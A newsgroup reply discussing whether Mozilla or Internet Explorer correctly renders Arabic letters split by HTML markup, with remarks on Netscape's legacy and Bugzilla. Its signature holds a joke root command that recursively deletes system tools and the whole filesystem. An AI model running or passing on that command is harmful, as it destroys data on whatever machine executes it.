Post by Andreas Prilop<http://www.unics.uni-hannover.de/nhtcapri/temp/nastaliq.html6>
I find it very strange that IE should get it right here and Mozilla
wrong. Any explanation for that?
I've no idea. I guess the Mozilla developers would be the ones to
explain that. If you can stand <https://bugzilla.mozilla.org/> you could
submit a bug report.
But I would like to know first if it is really a bug. I tend to believe
that Internet Explorer is wrong here. Strange that no-one even
in <news:comp.text.sgml> can answer this question.
I don't understand from the post whether you expect Example 3 (Arabic
letters separated by HTML markup) to render as joined or unjoined.
I would expect Moz to render the letters unjoined, as they still carry
with them the long and painful heritage of Netscape, which was based on
the assumption that a break -- especially a linebreak -- could occur at
any markup boundary. This led to the ludicrous situation I blogged about
some months back (http://silmaril.ie/cgi-bin/blog?older#parens) which
was only fixed last year. Or maybe I'm just jaundiced :-)
I'm not trying to give IE the credit here -- they inherited Netscape
code too, and exhibited the same error for many years -- but they have
taken the view that "if it LOOKS right, it must BE right". We all know
this to be wrong, but they have successfully kidded the customers that
this is what they want, and it's all that's available anyway. But they
have at least stamped down hard on the idea that markup must signal a
visual disjunction, which Netscape/Mozilla/Firefox have never really
understood. Despite having tried to educate the early browser writers
about Mixed Content in mid-word
(http://www.ucc.ie/info/net/WWW-TEI_Meeting_Notes.html) it still causes
trouble occasionally.
BugZilla is not an option, alas. I've seen bugs that would take a 5-minute
fix get lost in there for over 5 years while they talk about the pros and
cons, and finally the original complaint has been so mangled that it's no
longer recognizable.
///Peter
--
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"